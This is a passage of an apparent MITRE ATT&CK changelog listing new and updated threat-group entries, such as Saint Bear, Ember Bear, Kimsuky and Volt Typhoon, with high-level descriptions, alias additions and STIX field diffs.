Description: [RedCurl](https://attack.mitre.org/groups/G1039) is a threat actor active since 2018 notable for corporate espionage targeting a variety of locations, including Ukraine, Canada and the United Kingdom, and a variety of industries, including but not limited to travel agencies, insurance companies, and banks.(Citation: group-ib_redcurl1) [RedCurl](https://attack.mitre.org/groups/G1039) is allegedly a Russian-speaking threat actor.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2) The group’s operations typically start with spearphishing emails to gain initial access, then the group executes discovery and collection commands and scripts to find corporate data. The group concludes operations by exfiltrating files to the C2 servers.

[G1031] Saint Bear

Current version: 1.0

Description: [Saint Bear](https://attack.mitre.org/groups/G1031) is a Russian-nexus threat actor active since early 2021, primarily targeting entities in Ukraine and Georgia. The group is notable for a specific remote access tool, [Saint Bot](https://attack.mitre.org/software/S1018), and information stealer, [OutSteel](https://attack.mitre.org/software/S1017) in campaigns. [Saint Bear](https://attack.mitre.org/groups/G1031) typically relies on phishing or web staging of malicious documents and related file types for initial access, spoofing government or related entities.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )(Citation: Cadet Blizzard emerges as novel threat actor) [Saint Bear](https://attack.mitre.org/groups/G1031) has previously been confused with [Ember Bear](https://attack.mitre.org/groups/G1003) operations, but analysis of behaviors, tools, and targeting indicates these are distinct clusters.

[G1033] Star Blizzard

Current version: 1.0

Description: [Star Blizzard](https://attack.mitre.org/groups/G1033) is a cyber espionage and influence group originating in Russia that has been active since at least 2019. [Star Blizzard](https://attack.mitre.org/groups/G1033) campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024) +

[G1037] TA577

Current version: 1.0

Description: [TA577](https://attack.mitre.org/groups/G1037) is an initial access broker (IAB) that has distributed [QakBot](https://attack.mitre.org/software/S0650) and [Pikabot](https://attack.mitre.org/software/S1145), and was among the first observed groups distributing [Latrodectus](https://attack.mitre.org/software/S1160) in 2023.(Citation: Latrodectus APR 2024)

[G1038] TA578

Current version: 1.0

Description: [TA578](https://attack.mitre.org/groups/G1038) is a threat actor that has used contact forms and email to initiate communications with victims and to distribute malware including [Latrodectus](https://attack.mitre.org/software/S1160), [IcedID](https://attack.mitre.org/software/S0483), and [Bumblebee](https://attack.mitre.org/software/S1039).(Citation: Latrodectus APR 2024)(Citation: Bitsight Latrodectus June 2024)

[G1035] Winter Vivern

Current version: 1.0

Description: Winter Vivern is a group linked to Russian and Belorussian interests active since at least 2020 targeting various European government and NGO entities, along with sporadic targeting of Indian and US victims. The group leverages a combination of document-based phishing activity and server-side exploitation for initial access, leveraging adversary-controlled and -created infrastructure for follow-on command and control.(Citation: DomainTools WinterVivern 2021)(Citation: SentinelOne WinterVivern 2023)(Citation: CERT-UA WinterVivern 2023)(Citation: ESET WinterVivern 2023)(Citation: Proofpoint WinterVivern 2023)

Major Version Changes

[G0143] Aquatic Panda

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-21 21:16:34.243000+00:002024-10-10 14:31:59.099000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.12.0
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsJai Minton, CrowdStrike
x_mitre_contributorsJennifer Kim Roman, CrowdStrike

[G1012] CURIUM

Current version: 3.0

Version changed from: 2.0 → 3.0

+ + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[CURIUM](https://attack.mitre.org/groups/G1012) is an Iraniat1[CURIUM](https://attack.mitre.org/groups/G1012) is an Irania
>n threat group first reported in November 2021 that has inve>n threat group, first reported in September 2019 and active 
>sted in building a relationship with potential targets via s>since at least July 2018, targeting IT service providers in 
>ocial media over a period of months to establish trust and c>the Middle East.(Citation: Symantec Tortoiseshell 2019) [CUR
>onfidence before sending malware. Security researchers note >IUM](https://attack.mitre.org/groups/G1012) has since invest
>[CURIUM](https://attack.mitre.org/groups/G1012) has demonstr>ed in building relationships with potential targets via soci
>ated great patience and persistence by chatting with potenti>al media over a period of months to establish trust and conf
>al targets daily and sending benign files to help lower thei>idence before sending malware. Security researchers note [CU
>r security consciousness.(Citation: Microsoft Iranian Threat>RIUM](https://attack.mitre.org/groups/G1012) has demonstrate
> Actor Trends November 2021)>d great patience and persistence by chatting with potential 
 >targets daily and sending benign files to help lower their s
 >ecurity consciousness.(Citation: Microsoft Iranian Threat Ac
 >tor Trends November 2021)
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Denise Tan', 'Wirapong Petshagun']
values_changed
STIX FieldOld valueNew Value
modified2024-04-17 22:09:00.876000+00:002024-10-02 12:13:42.278000+00:00
description[CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group first reported in November 2021 that has invested in building a relationship with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://attack.mitre.org/groups/G1012) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.(Citation: Microsoft Iranian Threat Actor Trends November 2021)[CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group, first reported in September 2019 and active since at least July 2018, targeting IT service providers in the Middle East.(Citation: Symantec Tortoiseshell 2019) [CURIUM](https://attack.mitre.org/groups/G1012) has since invested in building relationships with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://attack.mitre.org/groups/G1012) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.(Citation: Microsoft Iranian Threat Actor Trends November 2021)
x_mitre_version2.03.0
iterable_item_added
STIX FieldOld valueNew Value
aliasesYellow Liderc
external_references{'source_name': 'Yellow Liderc', 'description': '(Citation: PWC Yellow Liderc 2023)'}
external_references{'source_name': 'PWC Yellow Liderc 2023', 'description': 'PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.', 'url': 'https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html'}
external_references{'source_name': 'Symantec Tortoiseshell 2019', 'description': 'Symantec Threat Hunter Team. (2019, September 18). Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks. Retrieved May 20, 2024.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain'}

[G1003] Ember Bear

Current version: 2.0

Version changed from: 1.1 → 2.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Ember Bear](https://attack.mitre.org/groups/G1003) is a sust1[Ember Bear](https://attack.mitre.org/groups/G1003) is a Rus
>pected Russian state-sponsored cyber espionage group that ha>sian state-sponsored cyber espionage group that has been act
>s been active since at least March 2021. [Ember Bear](https:>ive since at least 2020, linked to Russia's General Staff Ma
>//attack.mitre.org/groups/G1003) has primarily focused their>in Intelligence Directorate (GRU) 161st Specialist Training 
> operations against Ukraine and Georgia, but has also target>Center (Unit 29155).(Citation: CISA GRU29155 2024) [Ember Be
>ed Western European and North American foreign ministries, p>ar](https://attack.mitre.org/groups/G1003) has primarily foc
>harmaceutical companies, and financial sector organizations.>used operations against Ukrainian government and telecommuni
> Security researchers assess [Ember Bear](https://attack.mit>cation entities, but has also operated against critical infr
>re.org/groups/G1003) likely conducted the [WhisperGate](http>astructure entities in Europe and the Americas.(Citation: Ca
>s://attack.mitre.org/software/S0689) destructive wiper attac>det Blizzard emerges as novel threat actor) [Ember Bear](htt
>ks against Ukraine in early 2022.(Citation: CrowdStrike Embe>ps://attack.mitre.org/groups/G1003) conducted the [WhisperGa
>r Bear Profile March 2022)(Citation: Mandiant UNC2589 March >te](https://attack.mitre.org/software/S0689) destructive wip
>2022)(Citation: Palo Alto Unit 42 OutSteel SaintBot February>er attacks against Ukraine in early 2022.(Citation: CrowdStr
> 2022 ) >ike Ember Bear Profile March 2022)(Citation: Mandiant UNC258
 >9 March 2022)(Citation: CISA GRU29155 2024) There is some co
 >nfusion as to whether [Ember Bear](https://attack.mitre.org/
 >groups/G1003) overlaps with another Russian-linked entity re
 >ferred to as [Saint Bear](https://attack.mitre.org/groups/G1
 >031). At present available evidence strongly suggests these 
 >are distinct activities with different behavioral profiles.(
 >Citation: Cadet Blizzard emerges as novel threat actor)(Cita
 >tion: Palo Alto Unit 42 OutSteel SaintBot February 2022 )
Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-22 03:40:53.311000+00:002024-09-06 21:43:44.941000+00:00
description[Ember Bear](https://attack.mitre.org/groups/G1003) is a suspected Russian state-sponsored cyber espionage group that has been active since at least March 2021. [Ember Bear](https://attack.mitre.org/groups/G1003) has primarily focused their operations against Ukraine and Georgia, but has also targeted Western European and North American foreign ministries, pharmaceutical companies, and financial sector organizations. Security researchers assess [Ember Bear](https://attack.mitre.org/groups/G1003) likely conducted the [WhisperGate](https://attack.mitre.org/software/S0689) destructive wiper attacks against Ukraine in early 2022.(Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) [Ember Bear](https://attack.mitre.org/groups/G1003) is a Russian state-sponsored cyber espionage group that has been active since at least 2020, linked to Russia's General Staff Main Intelligence Directorate (GRU) 161st Specialist Training Center (Unit 29155).(Citation: CISA GRU29155 2024) [Ember Bear](https://attack.mitre.org/groups/G1003) has primarily focused operations against Ukrainian government and telecommunication entities, but has also operated against critical infrastructure entities in Europe and the Americas.(Citation: Cadet Blizzard emerges as novel threat actor) [Ember Bear](https://attack.mitre.org/groups/G1003) conducted the [WhisperGate](https://attack.mitre.org/software/S0689) destructive wiper attacks against Ukraine in early 2022.(Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)(Citation: CISA GRU29155 2024) There is some confusion as to whether [Ember Bear](https://attack.mitre.org/groups/G1003) overlaps with another Russian-linked entity referred to as [Saint Bear](https://attack.mitre.org/groups/G1031). At present available evidence strongly suggests these are distinct activities with different behavioral profiles.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )
external_references[4]['source_name']Lorec BearDEV-0586
external_references[4]['description'](Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Cadet Blizzard emerges as novel threat actor)
external_references[2]['description'](Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: CISA GRU29155 2024)
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.12.0
aliases[5]Lorec BearFrozenvista
external_references[3]{'source_name': 'Lorec53', 'description': '(Citation: CrowdStrike Ember Bear Profile March 2022)'}{'source_name': 'Frozenvista', 'description': '(Citation: CISA GRU29155 2024)'}
aliases[4]Lorec53Cadet Blizzard
iterable_item_added
STIX FieldOld valueNew Value
aliasesDEV-0586
external_references{'source_name': 'Cadet Blizzard', 'description': '(Citation: Cadet Blizzard emerges as novel threat actor)'}
external_references{'source_name': 'Cadet Blizzard emerges as novel threat actor', 'description': 'Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.', 'url': 'https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/'}
external_references{'source_name': 'CISA GRU29155 2024', 'description': 'US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.', 'url': 'https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf'}
iterable_item_removed
STIX FieldOld valueNew Value
aliasesSaint Bear
external_references{'source_name': 'Saint Bear', 'description': '(Citation: CrowdStrike Ember Bear Profile March 2022)'}

[G0094] Kimsuky

Current version: 5.0

Version changed from: 4.0 → 5.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Kimsuky](https://attack.mitre.org/groups/G0094) is a North t1[Kimsuky](https://attack.mitre.org/groups/G0094) is a North 
>Korea-based cyber espionage group that has been active since>Korea-based cyber espionage group that has been active since
> at least 2012. The group initially focused on targeting Sou> at least 2012. The group initially focused on targeting Sou
>th Korean government entities, think tanks, and individuals >th Korean government entities, think tanks, and individuals 
>identified as experts in various fields, and expanded its op>identified as experts in various fields, and expanded its op
>erations to include the United States, Russia, Europe, and t>erations to include the UN and the government, education, bu
>he UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has >siness services, and manufacturing sectors in the United Sta
>focused its intelligence collection activities on foreign po>tes, Japan, Russia, and Europe. [Kimsuky](https://attack.mit
>licy and national security issues related to the Korean peni>re.org/groups/G0094) has focused its intelligence collection
>nsula, nuclear policy, and sanctions.(Citation: EST Kimsuky > activities on foreign policy and national security issues r
>April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybe>elated to the Korean peninsula, nuclear policy, and sanction
>reason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky>s. [Kimsuky](https://attack.mitre.org/groups/G0094) operatio
> June 2021)(Citation: CISA AA20-301A Kimsuky)  [Kimsuky](htt>ns have overlapped with those of other North Korean cyber es
>ps://attack.mitre.org/groups/G0094) was assessed to be respo>pionage actors likely as a result of ad hoc collaborations o
>nsible for the 2014 Korea Hydro & Nuclear Power Co. compromi>r other limited resource sharing.(Citation: EST Kimsuky Apri
>se; other notable campaigns include Operation STOLEN PENCIL >l 2019)(Citation: Cybereason Kimsuky November 2020)(Citation
>(2018), Operation Kabar Cobra (2019), and Operation Smoke Sc>: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A K
>reen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Cita>imsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proof
>tion: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab K>point TA427 April 2024)  [Kimsuky](https://attack.mitre.org/
>imsuky Kabar Cobra Feb 2019)  North Korean group definitions>groups/G0094) was assessed to be responsible for the 2014 Ko
> are known to have significant overlap, and some security re>rea Hydro & Nuclear Power Co. compromise; other notable camp
>searchers report all North Korean state-sponsored cyber acti>aigns include Operation STOLEN PENCIL (2018), Operation Kaba
>vity under the name [Lazarus Group](https://attack.mitre.org>r Cobra (2019), and Operation Smoke Screen (2019).(Citation:
>/groups/G0032) instead of tracking clusters or subgroups.> Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky Smok
 >eScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb
 > 2019)  North Korean group definitions are known to have sig
 >nificant overlap, and some security researchers report all N
 >orth Korean state-sponsored cyber activity under the name [L
 >azarus Group](https://attack.mitre.org/groups/G0032) instead
 > of tracking clusters or subgroups.
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-17 22:11:50.321000+00:002024-10-10 14:32:27.067000+00:00
description[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky) + +[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) + +North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) + +[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) + +North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.
external_references[2]['description'](Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)
external_references[3]['description'](Citation: Microsoft Threat Actor Naming July 2023)(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Proofpoint TA427 April 2024)
external_references[9]['source_name']BRI Kimsuky April 2019Proofpoint TA427 April 2024
external_references[9]['description']BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019.Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427’s Art of Information Gathering. Retrieved May 3, 2024.
external_references[9]['url']https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering
x_mitre_version4.05.0
iterable_item_added
STIX FieldOld valueNew Value
aliasesAPT43
aliasesTA427
external_references{'source_name': 'APT43', 'description': '(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)'}
external_references{'source_name': 'TA427', 'description': '(Citation: Proofpoint TA427 April 2024)'}
external_references{'source_name': 'Mandiant APT43 March 2024', 'description': 'Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.', 'url': 'https://services.google.com/fh/files/misc/apt43-report-en.pdf'}

[G1017] Volt Typhoon

Current version: 2.0

Version changed from: 1.1 → 2.0

+ + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a Pt1[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a P
>eople's Republic of China (PRC) state-sponsored actor that h>eople's Republic of China (PRC) state-sponsored actor that h
>as been active since at least 2021. [Volt Typhoon](https://a>as been active since at least 2021 primarily targeting criti
>ttack.mitre.org/groups/G1017) typically focuses on espionage>cal infrastructure organizations in the US and its territori
> and information gathering and has targeted critical infrast>es including Guam. [Volt Typhoon](https://attack.mitre.org/g
>ructure organizations in the US including Guam. [Volt Typhoo>roups/G1017)'s targeting and pattern of behavior have been a
>n](https://attack.mitre.org/groups/G1017) has emphasized ste>ssessed as pre-positioning to enable lateral movement to ope
>alth in operations using web shells, living-off-the-land (LO>rational technology (OT) assets for potential destructive or
>TL) binaries, hands on keyboard activities, and stolen crede> disruptive attacks. [Volt Typhoon](https://attack.mitre.org
>ntials.(Citation: Microsoft Volt Typhoon May 2023)(Citation:>/groups/G1017) has emphasized stealth in operations using we
> Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citati>b shells, living-off-the-land (LOTL) binaries, hands on keyb
>on: Secureworks BRONZE SILHOUETTE May 2023)>oard activities, and stolen credentials.(Citation: CISA AA24
 >-038A PRC Critical Infrastructure February 2024)(Citation: M
 >icrosoft Volt Typhoon May 2023)(Citation: Joint Cybersecurit
 >y Advisory Volt Typhoon June 2023)(Citation: Secureworks BRO
 >NZE SILHOUETTE May 2023)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-28 04:14:40.834000+00:002024-05-21 20:12:20.029000+00:00
description[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021. [Volt Typhoon](https://attack.mitre.org/groups/G1017) typically focuses on espionage and information gathering and has targeted critical infrastructure organizations in the US including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021 primarily targeting critical infrastructure organizations in the US and its territories including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017)'s targeting and pattern of behavior have been assessed as pre-positioning to enable lateral movement to operational technology (OT) assets for potential destructive or disruptive attacks. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)
external_references[1]['description'](Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)
x_mitre_version1.12.0
iterable_item_added
STIX FieldOld valueNew Value
aliasesVanguard Panda
aliasesDEV-0391
aliasesUNC3236
aliasesVoltzite
aliasesInsidious Taurus
external_references{'source_name': 'Vanguard Panda', 'description': '(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)'}
external_references{'source_name': 'DEV-0391', 'description': '(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)'}
external_references{'source_name': 'UNC3236', 'description': '(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)'}
external_references{'source_name': 'Voltzite', 'description': '(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)'}
external_references{'source_name': 'Insidious Taurus', 'description': '(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)'}
external_references{'source_name': 'CISA AA24-038A PRC Critical Infrastructure February 2024', 'description': 'CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.', 'url': 'https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf'}
Minor Version Changes

[G0007] APT28

Current version: 5.1

Version changed from: 5.0 → 5.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-04 19:07:48.903000+00:002024-10-10 14:31:01.968000+00:00
x_mitre_version5.05.1

[G0016] APT29

Current version: 6.1

Version changed from: 6.0 → 6.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-12 21:15:41.833000+00:002024-09-03 18:48:32.299000+00:00
x_mitre_version6.06.1
iterable_item_removed
STIX FieldOld valueNew Value
aliasesStellarParticle
external_references{'source_name': 'StellarParticle', 'description': '(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: CrowdStrike StellarParticle January 2022)'}

[G0096] APT41

Current version: 4.1

Version changed from: 4.0 → 4.1

+ + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[APT41](https://attack.mitre.org/groups/G0096) is a threat gt1[APT41](https://attack.mitre.org/groups/G0096) is a threat g
>roup that researchers have assessed as Chinese state-sponsor>roup that researchers have assessed as Chinese state-sponsor
>ed espionage group that also conducts financially-motivated >ed espionage group that also conducts financially-motivated 
>operations. Active since at least 2012, [APT41](https://atta>operations. Active since at least 2012, [APT41](https://atta
>ck.mitre.org/groups/G0096) has been observed targeting healt>ck.mitre.org/groups/G0096) has been observed targeting vario
>hcare, telecom, technology, and video game industries in 14 >us industries, including but not limited to healthcare, tele
>countries. [APT41](https://attack.mitre.org/groups/G0096) ov>com, technology, finance, education, retail and video game i
>erlaps at least partially with public reporting on groups in>ndustries in 14 countries.(Citation: apt41_mandiant) Notable
>cluding BARIUM and [Winnti Group](https://attack.mitre.org/g> behaviors include using a wide range of malware and tools t
>roups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Gr>o complete mission objectives. [APT41](https://attack.mitre.
>oup IB APT 41 June 2021) >org/groups/G0096) overlaps at least partially with public re
 >porting on groups including BARIUM and [Winnti Group](https:
 >//attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Au
 >g 2019)(Citation: Group IB APT 41 June 2021) 
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-03 15:20:38.791000+00:002024-10-10 14:31:35.326000+00:00
description[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021) +[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting various industries, including but not limited to healthcare, telecom, technology, finance, education, retail and video game industries in 14 countries.(Citation: apt41_mandiant) Notable behaviors include using a wide range of malware and tools to complete mission objectives. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021) +
x_mitre_version4.04.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'apt41_mandiant', 'description': 'Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.', 'url': 'https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf'}

[G0108] Blue Mockingbird

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 02:50:01.851000+00:002024-07-10 18:53:44.277000+00:00
x_mitre_version1.21.3

[G0047] Gamaredon Group

Current version: 3.1

Version changed from: 3.0 → 3.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-12-04 18:11:02.073000+00:002024-09-23 20:34:43.022000+00:00
x_mitre_version3.03.1
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsYoshihiro Kori, NEC Corporation
x_mitre_contributorsManikantan Srinivasan, NEC Corporation India
x_mitre_contributorsPooja Natarajan, NEC Corporation India

[G1001] HEXANE

Current version: 2.3

Version changed from: 2.2 → 2.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-09 19:27:00.371000+00:002024-08-14 15:24:19.141000+00:00
x_mitre_version2.22.3

[G0119] Indrik Spider

Current version: 4.1

Version changed from: 4.0 → 4.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-17 22:10:56.266000+00:002024-10-28 19:11:56.485000+00:00
x_mitre_version4.04.1
iterable_item_added
STIX FieldOld valueNew Value
aliasesUNC2165
external_references{'source_name': 'UNC2165', 'description': '(Citation: Mandiant_UNC2165)'}
external_references{'source_name': 'Mandiant_UNC2165', 'description': 'Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/'}
x_mitre_contributorsLiran Ravich, CardinalOps

[G0059] Magic Hound

Current version: 6.1

Version changed from: 6.0 → 6.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-08 21:54:31.501000+00:002024-07-10 18:56:00.833000+00:00
x_mitre_version6.06.1

[G0069] MuddyWater

Current version: 5.1

Version changed from: 5.0 → 5.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-17 16:48:06.958000+00:002024-08-29 14:59:08.071000+00:00
x_mitre_version5.05.1
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsMarco Pedrinazzi, @pedrinazziM

[G0049] OilRig

Current version: 4.1

Version changed from: 4.0 → 4.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 16:06:34.698000+00:002024-09-04 20:33:04.739000+00:00
x_mitre_version4.04.1
iterable_item_added
STIX FieldOld valueNew Value
aliasesITG13
external_references{'source_name': 'ITG13', 'description': '(Citation: IBM ZeroCleare Wiper December 2019)'}
